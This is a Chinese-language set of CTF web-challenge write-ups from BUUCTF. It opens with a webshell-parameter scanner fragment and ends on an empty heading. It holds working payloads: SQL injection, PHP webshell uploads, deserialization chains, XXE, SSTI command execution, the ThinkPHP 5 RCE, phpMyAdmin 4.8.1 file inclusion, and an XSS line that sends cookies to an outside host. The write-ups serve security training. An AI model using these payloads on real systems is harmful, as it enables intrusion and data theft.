content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

[网鼎杯 2020 青龙组]AreUSerialz

  1. 正常构造payload的话因为$op、$fliename、$content都是protected属性,序列化的的结果的属性名前面会有/002.php>7.1版本对类属性的检测不严格来绕过,将序列化里的portected属性换成public属性,就不会有/00,另一种方式在php打序列化字符串中只要把其中的s改成大写打S,后面打字符串就可以用十六进制表示,用php脚本来完成替换,参考下面payload

  2. 读取/proc/self/cmdline,得到取配置文件路径/web/config/httpd.conf,再得到绝对路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  

class FileHandler{
    protected $op=2;
    protected $filename="/etc/passwd";
}
// echo urlencode(serialize(new FileHandler));

$a = serialize(new FileHandler);
// echo $a;
$a = str_replace(chr(0),'\00',$a);
$a = str_replace('s:','S:',$a);

echo urlencode($a);
?>

[BJDCTF 2nd]fake google

tplmap可以一梭子,但需要py2环境,也可以一步一步手注走

[RoarCTF 2019]Easy Java

1
2
3
4
5
6
7
WEB-INF主要包含一下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

主要是要知道去读WEB-INF/web.xml,然后把那些class下载下来

[GYCTF2020]Blacklist

三种办法

1
2
3
4
5
6
7
8
9
10
handler
1';handler `1919810931114514` open as `yunenctf`;handler `yunenctf` read first;#
# handler `1919810931114514` open as `yunenctf`; 将数据表载入并将返回句柄重命名
# handler `yunenctf` read first; 读取指定句柄的首行数据

重命名
1'; rename table words to word1; rename table `1919810931114514` to words; alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

预编译prepare
1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

[BUUCTF 2018]Online Tool

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|?~<>^()[]{}$, \x0A 和 \xFF。 *’ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

主要用到nmap的两个参数-iL 和-oN 以任意格式输出,-oX不行,这样不会把/flag的内容输出,必须要用-N才能解析/flag中的内容,从而输出到指定的路径,像这种短的代码都可以拿到本地来测试,也很方便调试。

payload:' + -iL /flag + -oN 输出路径

将payload构造成 ?host=' -oG outx.php ' 前面的127.0.0.1我们可以不写,然后在payload的最后面加上一个空格和单引号,单引号的目的是闭合处理后得到的最后那个单引号,如果不加空格的话文件最后面会变成'\'''即文件最后面会多出来\,加了空格之后会变成 hack.php \ ,不影响命令的执行。

[MRCTF2020]你传你🐎呢

先上传一个.htaccess

1
2
3
<FilesMatch "x.php.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

意思是把jpg按php进行解析,然后上传一个shell就可以了,不知道为啥file_get_contents不行,于是直接include了一下,或者用readfile('/flag');和highlight_file('/flag');

[MRCTF2020]Ez_bypass

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
1
2
3
http://87d242ef-fc4f-4a1f-aa1c-74a3ce74c7b4.node3.buuoj.cn/?gg[]=1&id[]=2

POST: passwd=1234567a

[GXYCTF2019]BabyUpload

根据各种提示,上传不了ph*的文件,考虑先上传一个.htaccess

1
2
3
<FilesMatch "x.php.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

在上传一个php的马,注意他会检测<?php,用下面的马绕过即可,flag在根目录下

1
2
3
GIF89a<script language="php">eval($_GET[x]);</script>

GET /upload/05a4cc97edcd0f5544958e086a68db2c/x.php.jpg?x=var_dump(file_get_contents(%27/flag%27));

[GXYCTF2019]禁止套娃

目录扫.git,用githack还原后源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

分析后主要有几点

1
2
3
4
1. 过滤了常用的几个伪协议,不能以伪协议读取文件。
2. (?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
3. 正则匹配掉了et/na/info等关键字,很多函数都用不了。
4. eval($_GET['exp']); 典型的无参数RCE

构造payload

考虑scandir('.')的形式来获取当前目录下的文件信息。

localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

current() 返回数组中的当前单元, 默认取第一个值

于是scandir('.')就转化为

1
2
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

但还需要取到我们想要的文件及其内容,就需要以下操作

  1. array_reverse() 以相反的元素顺序返回数组,再搭配next()处理
  2. array_flip()交换数组的键和值
  3. array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
1
?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

以上就可以获取到想要的文件名最后调用highlight_file()、readfile()、show_source()、file_get_contents()(被ban)

另一种方式可以通过session来处理:

本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。

使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。

session_id()可以获取到当前的session id。

1
?exp=highlight_file(session_id(session_start()));

[GWCTF 2019]我有一个数据库

目录扫描到有个phpmyadmin,不需要密码,版本4.8.1,是存在漏洞的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
直接利用文件包含就可以
?target=db_datadict.php%253f/../../../../../../../../../flag‘

也可以走代码执行,依次执行
show global variables like "%datadir%";

use test;
CREATE TABLE test(code varchar(100));
INSERT INTO test(code) VALUES("<?php phpinfo(); ?>");

?target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/data/test/test.MYD

或者包含session文件
?target=db_sql.php%253f/../../../../../../../../tmp/sess_cui65j0c7j9mjmu4b76kio81rj

db_sql.php可以替换成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
'db_import.php',
'db_operations.php',
'db_search.php',
'db_routines.php',
'export.php',
'import.php',
'index.php',
'pdf_pages.php',
'pdf_schema.php',
'server_binlog.php',
'server_collations.php',
'server_databases.php',
'server_engines.php',
'server_export.php',
'server_import.php',
'server_privileges.php',
'server_sql.php',
'server_status.php',
'server_status_advisor.php',
'server_status_monitor.php',
'server_status_queries.php',
'server_status_variables.php',
'server_variables.php',
'sql.php',
'tbl_addfield.php',
'tbl_change.php',
'tbl_create.php',
'tbl_import.php',
'tbl_indexes.php',
'tbl_sql.php',
'tbl_export.php',
'tbl_operations.php',
'tbl_structure.php',
'tbl_relation.php',
'tbl_replace.php',
'tbl_row_action.php',
'tbl_select.php',
'tbl_zoom_select.php',
'transformation_overview.php',
'transformation_wrapper.php',
'user_password.php',

[BJDCTF2020]ZJCTF,不过如此

题目给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

构造包(text=data://text/plain,I%20have%20a%20dream)

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?text=php://input&file=php://filter/convert.base64-encode/resource=next.php HTTP/1.1
Host: 0722e0f3-821d-4d78-9dc7-be292c48d6fb.node3.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

I have a dream

将拿到的结果base64 decode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}

foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

参考https://blog.csdn.net/weixin_43749601/article/details/113417093

1
next.php?\S*=${system($_GET[x])}&x=cat%20/flag

[BJDCTF2020]The mystery of ip

flag处回显ip地址的地方SSTI模板注入

1
X-Forwarded-For: {{system('cat /flag')}}

[BJDCTF2020]Mark loves cat

dirsearch扫描到.git,下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}

echo "the flag is: ".$flag;

$$变量覆盖问题,这里可以利用exit输出,看GET部分的遍历,假如传进的数据为yds=flag,那么就变为了$yds=flag,再通过exit($yds)输出即可。

[安洵杯 2019]easy_web

分析链接,两个参数,其中img的值两次base64的值,观察发现是转的ascii(主要是看到了2e),这里应该有文件包含,转为看index.php(TmprMlpUWTBOalUzT0RKbE56QTJPRGN3),得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

md5相关参考

https://blog.csdn.net/vhkjhwbs/article/details/97618629

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?cmd=c\at%20/flag HTTP/1.1
Host: f8ed05f8-2e32-4176-9f24-8c89e45aa403.node4.buuoj.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 389

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

还可以用sort读文件

[网鼎杯 2020 朱雀组]phpweb

根据包特点构造func=file_get_contents&p=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

构造反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Test {
var $p = "ls";
var $func = "system";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}

$a=new Test();
echo serialize($a);

找flag的payload

1
func=unserialize&p=O%3a4%3a"Test"%3a2%3a{s%3a1%3a"p"%3bs%3a18%3a"find+/+-name+flag*"%3bs%3a4%3a"func"%3bs%3a6%3a"system"%3b}

读flag

1
func=highlight_file&p=/tmp/flagoefiu4r93

[NCTF2019]Fake XML cookbook

XXE

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY admin SYSTEM "file:///flag" >]>

<user><username>&admin;</username><password>dwad</password></user>

[NCTF2019]True XML cookbook

同样XXE,但是flag在内网里,需要查看/proc/net/arp 或者/proc/net/fib_trie 亦或者 /etc/hosts等网络相关文件,找到内网网段,访问即可

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY admin SYSTEM "http://10[.]244[.]80[.]64" >]>
<user><username>&admin;</username><password>admidn</password></user>

[BSidesCF 2020]Had a bad day

php://的一个trick,dwad那一块可以任意填写

1
/index.php?category=php://filter/read=convert.base64-encode/woofers/dwad%20aw/resource=flag

[ASIS 2019]Unicorn shop

这个老实说,是自己知识面不够了,才知道在某种情况下unicode字符会跟数字有个等价性

https://www.compart.com/en/unicode/U+2187

这个字符大于需要买的东西的价格,发包的时候参数为

1
id=4&price=%E2%86%87

根据题目发现cookie中的内容输出在页面上,尝试ssti,63,页面输出63,的确存在。

php中的ssti最常见的对应的是twig引擎,有一篇文章写的很好,把所有ssti都讲了一遍

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

[安洵杯 2019]easy_serialize_php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}


if($_SESSION){
unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}

反序列化逃逸字符串,然后替换掉img的值

1
2
3
4
get:f=show_image
post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

post:_SESSION[fl1gfl1g]=";s:3:"aaa";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

[WUSTCTF2020]朴实无华

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}

//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>

robots.txt -> fakeflag -> header头里发现上述文件

payload:fl4g.php?num=2e9&md5=0e215962017&get_flag=ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

payload: $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[网鼎杯 2020 朱雀组]Nmap

主要是需要细心,修改结果详情参数f内容,结合报错找到xml文件位置,通过xml文件中nmap语句进行构造payload。

但这里有两个函数escapeshellarg和escapeshellcmd,前者将字符串转码为shell命令中的参数,后者则是对shell元字符进行转义

Payload: 127.0.0.1' -iL /flag -o haha

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value); //可以读flag
}
public function __invoke(){ //调用函数的方式调用一个对象时的回应方法
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){ //如果是对象,打印对象内容
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){ //访问不存在的属性或是受限的属性时调用
$function = $this->p;
return $function();
}
}

// if(isset($_GET['pop'])){
// @unserialize($_GET['pop']);
// }
// else{
// $a=new Show;
// highlight_file(__FILE__);
// }

构造pop链:

  1. 入口危Show类,通过preg_match,将$this->source指定为Show类,调用其__toString方法;
  2. 将$this->str指定为Test类,但Test类并没有source这个属性,调用其__get方法;
  3. 将Test类的属性p指定为Modifier,调用其__invoke方法;
  4. 设定$value为读取flag.php的伪协议。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Modifier {
protected $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
}


}

class Test{
public $p;
}

$a = new Show();
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

[SWPU2019]Web1

在发布广告处存在注入,过滤空格(/**/绕过),or(mysql.innodb_table_stats替换information_schema),反引号(as 绕过)

涉及到二次注入、绕过过滤、无列名注入

1
1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

[MRCTF2020]PYWebsite

X-Forwarded-For: 127.0.0.1

[NPUCTF2020]ReadlezPHP

反序列化,结合assert执行php代码

O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

[De1CTF 2019]SSRF Me

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()


def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"



def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
return hashlib.md5(content).hexdigest()


def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False


if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

其实就是阅读代码,梳理逻辑(md5扩展攻击也可以),这里利用字符串拼接的思路(python2.7 urllib.urlopen(param) 可以直接param为文件名进行访问而不需要指定协议,默认file,备选方案local_file协议)

  1. 访问/geneSign?param=flag.txtread 拿到sign

  2. 访问/De1ta?param=flag.txt,构造Cookie: action=readscan;sign=1491c8c5b4ec8dbb050cc8524bfe3c32

还可以用md5扩展攻击,利用hashpump工具https://joychou.org/web/hash-length-extension-attack.html

[ThinkPHP]5-Rce

TP 5.0.x的RCE,flag在phpinfo里,注意phpinfo参数-1返回所有内容
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

BUU UPLOAD COURSE 1

文件上传(强制后缀jpg)+文件包含

上传内容 <?=assert($_GET[x]);,然后包含执行?file=uploads/64fe90a47ef5c.jpg&x=system(%27cat%20/flag%27)

BUU XSS COURSE 1

通过打cookie,访问后台。注意要打referer才知道后台地址。

1
<img src=x onerror="window.open('http://xx.xx.xx.xx:18894/?msg='+document.cookie+'&c='+document.referrer)">

BUU SQL COURSE 1

